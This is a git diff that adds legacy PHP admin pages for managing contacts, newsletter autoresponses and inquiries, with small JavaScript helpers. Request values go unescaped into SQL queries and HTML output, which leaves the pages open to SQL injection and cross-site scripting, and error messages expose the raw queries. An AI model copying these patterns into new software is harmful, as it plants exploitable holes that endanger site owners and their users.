+                  VALUES       ('(current)','$query','$file','$delimiter')";
+}
+else {
+       $qs = "UPDATE   query_db 
+                  SET          query = '$query',
+                                       file = '$file',
+                                       delimiter = '$delimiter'
+                  WHERE        id = $row[id]";
+}
+@db_close($dbd);
+
+if(!db_auto_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+         
+footer();
+?>
diff --git a/admin/Contact/query_db.phtml b/admin/Contact/query_db.phtml
new file mode 100755 (executable)
index 0000000..9e7d57e
--- /dev/null
@@ -0,0 +1,20 @@
+<?php
+//$Id: query_db.phtml,v 1.1.1.1 2009/12/18 17:46:59 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!isset($file)) $file = "";
+if(!isset($delimiter)) $delimiter = "";
+
+$qs = "INSERT 
+          INTO         query_db (query_name,query,file,delimiter) 
+         (select '$query_name',query,file,delimiter from query_db where query_name = '(current)' limit 1 offset 0)";
+if(!db_auto_exec($qs)) 
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+html_header("Saving Query","Saved","");
+?>
+Query is saved as <?echo $query_name?>
+<center><a href="#" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/Contact/query_save.phtml b/admin/Contact/query_save.phtml
new file mode 100755 (executable)
index 0000000..61c4a0d
--- /dev/null
@@ -0,0 +1,18 @@
+<html>
+<body bgcolor=white>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+  <tr>
+    <td>Name of Report
+       
+       <form name="form2" action="query_db.phtml" method="POST">
+       <input type="hidden" name="query" value="<?echo $query_string?>">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input name="query_name">
+       <input type="submit" name="Submit" value="Save">
+       </form>
+       </td>
+</tr>
+</table>
+</body>
+</html>
diff --git a/admin/Contact/update_autoresponse.phtml b/admin/Contact/update_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..01aa848
--- /dev/null
@@ -0,0 +1,304 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+switch($Command) {
+
+       case "Update":
+               $dbd = db_connect(CONN_STR);
+       if(!$dbd) html_error(DB_ERROR_MSG,1);
+       if( $image == '' ) $image = 'none';
+       if( $image2== '' ) $image2= 'none';
+       if( $image3== '' ) $image3= 'none';
+       if ($image == 'none' || $delimage == 'TRUE')
+       {
+               $img_upload = 'FALSE';
+       }
+       else
+       {
+               $img_upload = 'TRUE';
+       }
+
+       if ($image2 == 'none' || $delimage2 == 'TRUE')
+       {
+               $img_upload2 = 'FALSE';
+       }
+       else
+       {
+               $img_upload2 = 'TRUE';
+       }
+
+       if ($image3 == 'none' || $delimage3 == 'TRUE')
+       {
+               $img_upload3 = 'FALSE';
+       }
+       else
+       {
+               $img_upload3 = 'TRUE';
+       }
+
+       if ($img_upload == 'TRUE')
+       {
+               $image_name = process_image($image,$image_name);
+               if($oldimage != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+               }
+       }
+       elseif ($img_upload == 'FALSE')
+       {
+               if($delimage == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+                       $image_name = '';
+               }
+               else
+               {
+                       $image_name = $oldimage;
+               }
+       }
+
+       // ***IMAGE TWO***
+       if ($img_upload2 == 'TRUE')
+       {
+               $image2_name = process_image($image2,$image2_name);
+               if($oldimage2 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+               }
+       }
+       elseif ($img_upload2 == 'FALSE')
+       {
+               if($delimage2 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+                       $image2_name = '';
+               }
+               else
+               {
+                       $image2_name = $oldimage2;
+               }
+       }
+
+
+       // ***IMAGE THREE***
+       if ($img_upload3 == 'TRUE')
+       {
+               $image3_name = process_image($image3,$image3_name);                      
+               if($oldimage3 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage3 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+                       $image3_name = '';
+               }
+               else
+               {
+                       $image3_name = $oldimage3;
+               }
+       }
+
+       $qs = "UPDATE   news_response 
+               SET             subject         = '$subject',
+                               response        = '$response',
+                               image_align     =       '$image_align',
+                               image2_align =  '$image2_align',
+                               image3_align =  '$image3_align',
+                               image   =       '$image_name',
+                               image2  =       '$image2_name',
+                               image3  =       '$image3_name',
+                               last_update     = current_date
+                                       WHERE   id                      = $id";
+
+       if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+
+       $location = "emails.php"; 
+       break;
+
+       case "Insert":
+               $dbd = db_connect(CONN_STR);
+if( $image == '' ) $image = 'none';
+       if( $image2== '' ) $image2= 'none';
+       if( $image3== '' ) $image3= 'none';
+       if ($image == 'none' || $delimage == 'TRUE')
+       {
+               $img_upload = 'FALSE';
+       }
+       else
+       {
+               $img_upload = 'TRUE';
+       }
+
+       if ($image2 == 'none' || $delimage2 == 'TRUE')
+       {
+               $img_upload2 = 'FALSE';
+       }
+       else
+       {
+               $img_upload2 = 'TRUE';
+       }
+
+       if ($image3 == 'none' || $delimage3 == 'TRUE')
+       {
+               $img_upload3 = 'FALSE';
+       }
+       else
+       {
+               $img_upload3 = 'TRUE';
+       }
+
+       if ($img_upload == 'TRUE')
+       {
+               $image_name = process_image($image,$image_name);
+               if($oldimage != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+               }
+       }
+       elseif ($img_upload == 'FALSE')
+       {
+               if($delimage == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+                       $image_name = '';
+               }
+               else
+               {
+                       $image_name = $oldimage;
+               }
+       }
+
+       // ***IMAGE TWO***
+       if ($img_upload2 == 'TRUE')
+       {
+               $image2_name = process_image($image2,$image2_name);
+               if($oldimage2 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+               }
+       }
+       elseif ($img_upload2 == 'FALSE')
+       {
+               if($delimage2 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+                       $image2_name = '';
+               }
+               else
+               {
+                       $image2_name = $oldimage2;
+               }
+       }
+
+
+       // ***IMAGE THREE***
+       if ($img_upload3 == 'TRUE')
+       {
+               $image3_name = process_image($image3,$image3_name);                      
+               if($oldimage3 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage3 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+                       $image3_name = '';
+               }
+               else
+               {
+                       $image3_name = $oldimage3;
+               }
+       }
+       if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+       $qs = "INSERT INTO news_response 
+               (last_update,subject,response, image,image2,image3, image_align,image2_align,image3_align)
+               VALUES 
+               (current_date,'$subject','$response','$image_name','$image2_name','$image3_name','$image_align','$image2_align','$image3_align')";
+
+       if(!$res = db_exec($dbd,$qs)) 
+       {
+               echo pg_errormessage($res);
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+
+       $location = "emails.php"; 
+
+       break;
+
+       case "Cancel":
+       $location = "emails.php"; 
+       break;
+
+       case "Delete":
+               $dbd = db_connect(CONN_STR);
+               db_exec( $dbd, "BEGIN WORK" );
+               $query = "select image,image2,image3 from news_response where id = $id;";
+               $res = db_exec($dbd,$query);
+               for( $i = 1; $i <= 3; $i++ )
+               {
+                       $imagename = ( $i == 1 ) ? 'image' : 'image'.$i ;
+                       if( $img = pg_result( $res, 0 , $imagename ) )
+                       {
+                               @unlink( ORIGINAL_PATH.'/'.$img );
+                               @unlink( RESIZED_PATH.'/'.$img );
+                               @unlink( MIDSIZED_PATH.'/'.$img );
+                               @unlink( THUMB_PATH.'/'.$img );
+                       }
+               }
+               $query = "delete from news_response where id = $id;";
+               db_exec( $dbd, $query );
+               db_exec( $dbd, "COMMIT WORK" );
+               $location = "emails.php"; 
+               break;
+
+       default:
+       html_error("incorrect value for Command",1);
+       break;
+}
+
+header("Location: $location");
+?>
diff --git a/admin/Contact/update_contact.phtml b/admin/Contact/update_contact.phtml
new file mode 100755 (executable)
index 0000000..7bc40b4
--- /dev/null
@@ -0,0 +1,260 @@
+<?php
+//$Id: update_contact.phtml,v 1.2 2010/01/05 19:00:30 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+$location = "list_contact.phtml?back=1";
+
+if(is_array($interest))
+{
+       $interest = ":".implode(":",$interest).":";
+}
+http_strip($url);
+
+$LAST = count($DB_fields)-1;
+if($REQUEST_METHOD == "POST" || $Command == "Delete") 
+       {
+       switch($Command) 
+               {
+               case "Update":
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="img")
+                               {
+                               $tmp = $DB_fields[$i]['name'];
+                               $image = $$tmp;
+                               $oldimage = ${$tmp."_old"};
+                               $image_name = ${$tmp."_name"};
+                               if($image == "none" || $image == "") 
+                                       {
+                                       $image_name = $oldimage;
+                                       }
+                               else 
+                                       { 
+                                       $image_name = process_image($image,$image_name);
+                                       }
+                               $delete = ${"delete".$tmp};
+                               if($delete==1) 
+                                       {
+                                       $image_name = "";
+                                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                                       @unlink(RESIZED_PATH.$oldimage);
+                                       @unlink(THUMB_PATH.$oldimage);
+                                       @unlink(MIDSIZED_PATH.$oldimage);
+                                       }
+                               }       
+                       }
+               $DB_fields = array_reverse($DB_fields);
+               $qs = "UPDATE ".TABLE." SET ";
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="date") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                               $qs .= $DB_fields[$i][name]." = '$date'";
+                               if($i != $LAST)
+                                       $qs .= ",";
+                               }
+                       elseif($DB_fields[$i][type]=="datetime") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $H = $DB_fields[$i][name]."_hour";
+                               $mm = $DB_fields[$i][name]."_mm";
+                               if($$mm == "PM")
+                                       $$H = $$H + 12;
+                               $m = $DB_fields[$i][name]."_min"; 
+                               $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                               $qs .= $DB_fields[$i][name]." = '$date'";
+                               if($i != $LAST)
+                                       $qs .= ",";
+                               }
+            elseif ($DB_fields[$i]['name'] == 'golfcourse') {
+            }
+                       elseif($DB_fields[$i][name]!=ID) 
+                               {
+                               if($DB_fields[$i][type]=="img") 
+                                       {
+                                       $qs .= $DB_fields[$i][name]." = '".$image_name."'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }       
+                               elseif($DB_fields[$i][type]=="static")
+                                       {
+                                       }
+                               elseif($DB_fields[$i][type]=="radio" && $_POST[$DB_fields[$i][name]] == '') 
+                                       {
+                                               $qs .= $DB_fields[$i][name]." = NULL";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                       }
+                               elseif($DB_fields[$i][type]=="password") 
+                                       {
+                                       if(($password && $password2) && ($password == $password2)) 
+                                               {
+                                               $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }               
+                                       }
+                               else 
+                                       {
+                                       $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               }
+                       else 
+                               {
+                               $qs = substr($qs,0,strlen($qs)-1);
+                               $qs .= " WHERE ".$DB_fields[$i][name]." = ".$$DB_fields[$i][name];
+                               }       
+                       }
+               $DB_fields = array_reverse($DB_fields);
+        if(!db_auto_exec($qs)) {
+                       $ERRORS .= pg_errormessage($dbd).$qs;
+        }
+        db_auto_exec("DELETE FROM contact_course WHERE contact_id = $id");
+        if (is_array($_POST['courses'])) {
+            foreach ($_POST['courses'] as $course_id) {
+                $sql = "
+                INSERT INTO contact_course
+                (contact_id, course_id)
+                VALUES
+                ($id, $course_id)";
+                db_auto_exec($sql);
+            }
+        }
+                       
+       break;
+
+       case "Insert":
+               $create_date = date("m-d-Y");
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="img")
+                               {
+                               $tmp = $DB_fields[$i]['name'];
+                               $image = $$tmp;
+                               $image_name = ${$tmp."_name"};
+                               if($image == "none" || $image == "") 
+                                       {
+                                       $image_name = $oldimage;
+                                       }
+                               else 
+                                       { 
+                                       $image_name = process_image($image,$image_name);
+                                       }
+                               }       
+                       }
+               $tmp = "";
+               $tmp_value = "";
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][name]!=ID) 
+                               {
+                               if($DB_fields[$i][type]!="static")
+                                       {
+                                       $tmp .= $DB_fields[$i][name];
+                                       $tmp .= ",";    
+                                       }
+                               }
+                       }
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="date") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                               $tmp_value .= "'$date'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][type]=="static") 
+                               {
+                               }
+                       elseif($DB_fields[$i][type]=="datetime") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $H = $DB_fields[$i][name]."_hour";
+                               $mm = $DB_fields[$i][name]."_mm";
+                               if($$mm == "PM")
+                                       $$H = $$H + 12;
+                               $m = $DB_fields[$i][name]."_min"; 
+                               $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                               $tmp_value .= "'$date'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][type]=="radio" && $_POST[$DB_fields[$i][name]] == '')
+                               {
+                               $tmp_value .= "NULL";
+                               $tmp_value .= ",";      
+                               }
+            elseif ($DB_fields[$i]['name'] == 'golfcourse') {
+            }
+                       elseif($DB_fields[$i][type]=="img")
+                               {
+                               $tmp_value .= "'".$image_name."'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][name]!=ID) 
+                               {
+                               $tmp_value .= "'".$$DB_fields[$i][name]."'";
+                               $tmp_value .= ",";      
+                               }
+                       }
+               // check for all blanks
+               $tmp_blank = str_replace("'","",$tmp_value);
+               $tmp_blank = str_replace(",","",$tmp_blank);
+               if ($tmp_blank) {
+            $qs = "
+            INSERT INTO ".TABLE." 
+                   (".ID.", $tmp create_date)
+                       VALUES
+            (nextval('".SEQUENCE."'), $tmp_value '$create_date')
+            RETURNING id";
+       
+            if (!$res = db_exec($qs)) {
+                               $ERRORS .= pg_errormessage($dbd).$qs;
+            }
+            $id = pg_result($res, 0, 'id');
+            if (is_array($_POST['courses'])) {
+                foreach ($_POST['courses'] as $course_id) {
+                    $sql = "
+                    INSERT INTO contact_course
+                    (contact_id, course_id)
+                    VALUES
+                    ($id, $course_id)";
+                    db_auto_exec($sql);
+                }
+            }
+           }
+       break;
+
+       case "Delete":
+               $qs = "DELETE FROM ".TABLE."
+                          WHERE ".ID." = $id";
+
+               if(!db_auto_exec($qs)) 
+                       $ERRORS .= pg_errormessage($dbd).$qs;
+       
+       break;
+
+       case "Cancel":
+       break;
+
+       default:
+                $ERRORS .= "incorrect value for Command";
+       break;
+       
+       }
+
+header("Location: $location");
+}
+?>
diff --git a/admin/Contact/update_inquiry.phtml b/admin/Contact/update_inquiry.phtml
new file mode 100755 (executable)
index 0000000..98a822d
--- /dev/null
@@ -0,0 +1,174 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No Database connection";
+       }
+if($image == "none" || $image == "") 
+       {
+               $image_name = $oldimage;
+       }
+else 
+       { 
+               $image_name = process_image($image,$image_name);
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+
+       }
+if($deleteimage == "1") 
+       {
+               $image_name = "";
+
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+       }
+
+switch($Command) 
+       {
+               case "Move":
+                       $qs = "SELECT   pos,id
+                       FROM    contact_inq
+                       WHERE   id = $id";
+
+               if(!$result = db_exec($conn,$qs)) 
+               {
+                       html_error(DB_ERROR_MSG.$qs,0);
+               }
+
+               $data = db_fetch_array($result,0,PGSQL_ASSOC);
+               $pos = $data['pos'];
+
+               if($newpos < $pos) 
+               {
+                       $qs = "SELECT   id,pos
+                               FROM    contact_inq
+                               WHERE   pos < $pos
+                               AND             pos >= $newpos
+                               ORDER BY pos";
+
+                       if(!$res = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+
+                       $counter = ($newpos + 1);
+                       for($i=0;$i<db_numrows($res);$i++) 
+                       {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   contact_inq
+                                       SET             pos = $counter
+                                       WHERE   id = $res_id";
+
+                               if(!db_exec($conn,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,0);
+                               }
+                               $counter++;
+                       }
+               }
+               else 
+               {
+                       $qs = "SELECT   pos,id
+                               FROM    contact_inq
+                               WHERE   pos > $pos
+                               AND             pos <= $newpos
+                               ORDER BY pos";
+
+                       if(!$res = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+
+                       $counter = ($pos);
+                       for($i=0;$i<db_numrows($res);$i++) 
+                       {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   contact_inq
+                                       SET             pos = $counter
+                                       WHERE   id = $res_id";
+
+                               if(!db_exec($conn,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,0);
+                               }
+                               $counter++;
+                       }
+               }
+               $qs = "UPDATE   contact_inq 
+                       SET             pos = $newpos
+                       WHERE   id = $id";
+
+               if(!db_exec($conn,$qs)) 
+               {
+                       html_error(DB_ERROR_MSG.$qs,0);
+               }
+               break;
+
+               case "Edit":
+                       $qs = "UPDATE   contact_inq
+                       SET             header = '$header',
+               image = '$image_name',
+               description = '$description'
+                       WHERE   id = $id;";
+
+               //echo $qs;
+               pg_Exec($conn,$qs);
+               break;
+
+               case "Add":
+                       $qs = "SELECT   MAX(pos) as maxpos
+                       FROM    contact_inq";
+
+               $res = db_exec($conn,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+               $nextpos = $row[maxpos];
+               $nextpos++;
+               $qs = "INSERT 
+                       INTO    contact_inq
+                       (header,description,image,pos)
+                       VALUES  ('$header','$description','$image_name',$nextpos);";
+
+               pg_exec($conn,$qs);
+               break;
+
+               case "Delete":
+                       $qs = "DELETE 
+                       FROM    contact_inq
+                       WHERE   id = $id";
+
+               pg_Exec($conn,$qs);
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+
+               $qs = "SELECT   pos,id 
+                       FROM    contact_inq
+                       WHERE   pos > $oldpos
+                       ORDER BY pos";
+
+               $res2 = db_exec($conn,$qs);
+               $oldcatid_counter = $oldpos;
+               for($i=0;$i<db_numrows($res2);$i++) 
+               {
+                       $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                       $qs = "UPDATE   contact_inq
+                               SET             pos = $oldcatid_counter
+                               WHERE   id = $row2[id]";
+               }
+               db_exec($conn,$qs);
+
+               break;
+       }
+header("Location: contact_inquiry.phtml");
+?>
diff --git a/admin/Contact/verify.js b/admin/Contact/verify.js
new file mode 100755 (executable)
index 0000000..a254639
--- /dev/null
@@ -0,0 +1,72 @@
+function isblank(s) {
+       for(var i = 0; i < s.length; i++) {
+               var c = s.charAt(i);
+               if((c != ' ') && (c != '\n') && (c != '\t'))
+                       return(false);
+       }
+       return(true);
+}
+
+function verify(f) {
+       var msg;
+       var empty_fields = "";
+       var errors = "";
+
+       for(var i = 0; i < f.length; i++) {
+               var e = f.elements[i];
+               if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+
+                       if(e.d) {
+                               if(isNaN(Date.parse(e.value)))
+                                       errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+                       }
+                       if(e.numeric || (e.min != null) || (e.max != null)) {
+                               if(e.i) {
+                                       var v = parseInt(e.value);
+                                       if(v != e.value) {
+                                               errors += "- The field " +e.r + " must be a ";
+                                               errors += "number with no decimal\n";
+                                               continue;
+                                       }
+                               }
+                               else
+                                       var v = parseFloat(e.value);
+                               if(isNaN(v) ||
+                                       ((e.min != null) && (v < e.min)) ||
+                                       ((e.max != null) && (v > e.max))) {
+
+                                       errors += "- The field " + e.r + " must be a number";
+                                       if(e.min != null)
+                                               errors += " that is greater than " + e.min;
+                                       if(e.max != null && e.min != null)
+                                               errors += " and less than " + e.max;
+                                       else if (e.max != null)
+                                               errors += " that is less than " + e.max;
+                                       errors += ".\n";
+                               }
+                       }
+               }
+       }
+
+       if(!empty_fields && !errors)
+               return(true);
+
+       msg = "_____________________________________________________\n\n";
+       msg +="The form was not submitted because of the following error(s).\n";
+       msg +="Please correct these error(s) and re-submit.\n";
+       msg +="_____________________________________________________\n\n";
+
+       if(empty_fields) {
+               msg += "- The following required field(s) are empty:"
+                               + empty_fields + "\n";
+               if(errors)
+                       msg += "\n";
+       }
+       msg += errors;
+       alert(msg);
+       return(false);
+}
diff --git a/admin/Contact/view_newsletter.phtml b/admin/Contact/view_newsletter.phtml
new file mode 100755 (executable)
index 0000000..feb057a
--- /dev/null
@@ -0,0 +1,23 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+define("STYLE","main.css");
+if($id == '')
+$id = 1;
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+html_nav_table($nav,$navWidth);        
+
+echo'<iframe src="preview.phtml?id='.$id.'"
+width="780" height="480"
+align="center">
+</iframe>
+
+  </td>
+</tr>
+</table>';
+
+footer();
+?>
+
+
+
diff --git a/admin/Contact/wm.js b/admin/Contact/wm.js
new file mode 100755 (executable)
index 0000000..7a7323e
--- /dev/null
@@ -0,0 +1,13 @@
+function glm_open(o) {
+       var x = (screen.width/2) - (o.width/2);
+       var y = (screen.height/2) - (o.height/2);
+       var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+       if(o.scroll == true)
+               args += ",scrollbars=1";
+       //args += "\'";
+       //alert(args);
+       pow=window.open(o.url,o.name,args);
+       //confirm(args);
+       if (pow.opener == null)
+               pow.opener = self;
+}
diff --git a/admin/bug3.png b/admin/bug3.png
new file mode 100755 (executable)
index 0000000..cc6d93b
Binary files /dev/null and b/admin/bug3.png differ
diff --git a/admin/form.js b/admin/form.js
new file mode 100755 (executable)
index 0000000..0bbabf0
--- /dev/null
@@ -0,0 +1,42 @@
+function reshow(object) {
+    artist = object.options[object.selectedIndex].text;
+        for (var i = document.track.names.length;i > 0;i--)
+            document.track.names.options[0] = null;
+        reloading = true;
+        showlinks();
+        document.track.names.options[0].selected = true;
+    return false;
+}
+
+function load(object) {
+    alert('Just testing: ' + object.options[object.selectedIndex].value);
+    //window.location.href = object.options[object.selectedIndex].value;
+    return false;
+}
+
+function showlinks() {
+    if (artist == 'Chris Rea') {
+        opt('cr/one.zip','The Road To Hell');
+        opt('cr/two.zip','Let\'s Dance');
+    }
+
+    if (artist == 'Annie Lennox') {
+        opt('al/why.zip','Why');
+        opt('al/wobg.zip','Walking on Broken Glass');
+    }
+
+    if (artist == 'Dina Carrol') {
+        opt('dc/track1.zip','Escaping');
+        opt('dc/track2.zip','Only Human');
+    }
+}
+
+function opt(href,text) {
+    if (reloading)  {
+        var optionName = new Option(text, href, false, false)
+        var length = document.track.names.length;
+        document.track.names.options[length] = optionName;
+    }
+    else
+        document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
diff --git a/admin/html_help.phtml b/admin/html_help.phtml
new file mode 100755 (executable)
index 0000000..2a9b50f
--- /dev/null
@@ -0,0 +1,17 @@
+<html>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<table>
+<TD align=center colspan=2><FONT SIZE=2 FACE="arial,helvetica"><B>HTML Tags</B></FONT><BR>
+   <FONT SIZE=2 FACE="arial,helvetica">&lt;B&gt;<B>BOLD</B>&lt;/B&gt;<BR>&lt;I&gt;<I>ITALIC</I>&lt;/I&gt;<BR>&lt;CENTER&gt;CENTER&lt;/CENTER&gt;<BR>
+   &lt;FONT COLOR="RED"&gt;<FONT COLOR="RED">RED</FONT>&lt;/FONT&gt;<BR>&lt;BIG&gt;<BIG>LARGER FONT SIZE</BIG>&lt;/BIG&gt;
+       <br>&lt;LI&gt;Bullet
+       <br>&lt;A HREF="HTTP://www.PLACEYOURWEBURLHERE" TARGET="_BLANK"&gt;<A HREF="HTTP://www.gaslightmedia.com" TARGET="_BLANK">Hyperlink</A>&lt;/A&gt;                  
+       <br>&lt;A HREF="mailto:PLACEEMAILADDRESSHERE" TARGET="_BLANK"&gt;<A
+       HREF="mailto:info@gaslightmedia.com" TARGET="_BLANK">E-mail Address</A>&lt;/A&gt;                  
+       <BR>&amp;nbsp;   A non-breaking space
+  </td>
+</tr>
+</table>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="help/closewindow.gif" border=0></A></CENTER>
+</body>
+</html>
diff --git a/admin/index.phtml b/admin/index.phtml
new file mode 100755 (executable)
index 0000000..81ae557
--- /dev/null
@@ -0,0 +1,20 @@
+<?include("../setup.phtml")?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title><?=SITENAME?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+</head>
+<frameset cols="145,*">
+<frame name="Nav" src="nav.phtml" frameborder="0">
+<frame name="Main" src="splash.phtml" frameborder="0">
+</frameset>
+<noframes><p>Admin Requires Frames Capable Browser</p>
+You can get a Standard Compliant browser from:
+<ul>
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</noframes>
+</html>
diff --git a/admin/main.css b/admin/main.css
new file mode 100755 (executable)
index 0000000..963f5df
--- /dev/null
@@ -0,0 +1,123 @@
+body {padding-left: 50px;}
+.clearer {
+ height:1px;
